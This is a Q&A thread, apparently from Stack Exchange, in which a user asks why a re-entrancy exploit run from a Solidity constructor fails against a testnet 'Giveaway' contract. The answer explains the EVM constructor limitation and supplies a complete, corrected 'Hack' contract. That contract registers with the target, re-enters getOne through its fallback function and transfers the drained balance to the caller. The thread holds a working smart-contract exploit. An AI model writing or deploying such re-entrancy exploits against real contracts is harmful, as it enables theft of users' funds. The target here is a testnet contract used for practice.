Why is my re-entrancy attack failing when executed in a constructor?

Question

I am trying to recreate a re-entrancy attack using the vulnerable below: https://ropsten.etherscan.io/address/0xe350eef4aab5a55d4efaa2aa6f7d7420057eee2a#code

And the exploitation contract below: https://ropsten.etherscan.io/address/0x7e95eed55994d8796c007af68b454fb639e9bd93#code

If I recall correctly the gas stipend does not need to necessarily be specified when using the msg.sender.call function. Regardless, the fall-back function on my exploitation contract does not trigger at all so why is this happening?

score 1 · Answer 1 · answered May 14 '18 at 10:34

According to a comment on Issue 583 of Solidity, your code fails to execute correctly due to a limitation of the EVM.

When a contract's constructor is being called, the code of the contract has not yet been stored on its address. As such, when it receives Ether there is no fall-back function to trigger at its address. This can be solved by calling the test.getOne() function from a separate function in the Hack contract.

Additionally, your Hack contract can be refined as seen below:

pragma solidity ^0.4.23;

contract Giveaway {
    function register(address toRegister) public;
    function getOne() public;
}

contract Hack {
    /**
     * It is actually better to store the variables
     * in 128-bit segments as the EVM is optimized in
     * handling 256-bit storage spaces and will pack
     * the two variables below in a single slot.
     */
    uint128 times = 3;
    uint128 current = 0;
    Giveaway test = Giveaway(0xe350EEf4aAb5a55d4efaa2Aa6f7D7420057EEe2A);

    // This function will execute correctly as it is not a constructor
    function hackGiveaway() public {
        test.register(address(this));
        test.getOne();
        drainThis();
    }

    // Left as is
    function() public payable{
        if(current<times){
            current++;
            test.getOne();
        }
    }

    /**
     * Internal functions do not change the context of 
     * msg.sender compared to public/external functions.
     */
    function drainThis() internal {
        msg.sender.transfer(address(this).balance);
    }
}

Why is my re-entrancy attack failing when executed in a constructor?

1 Answers1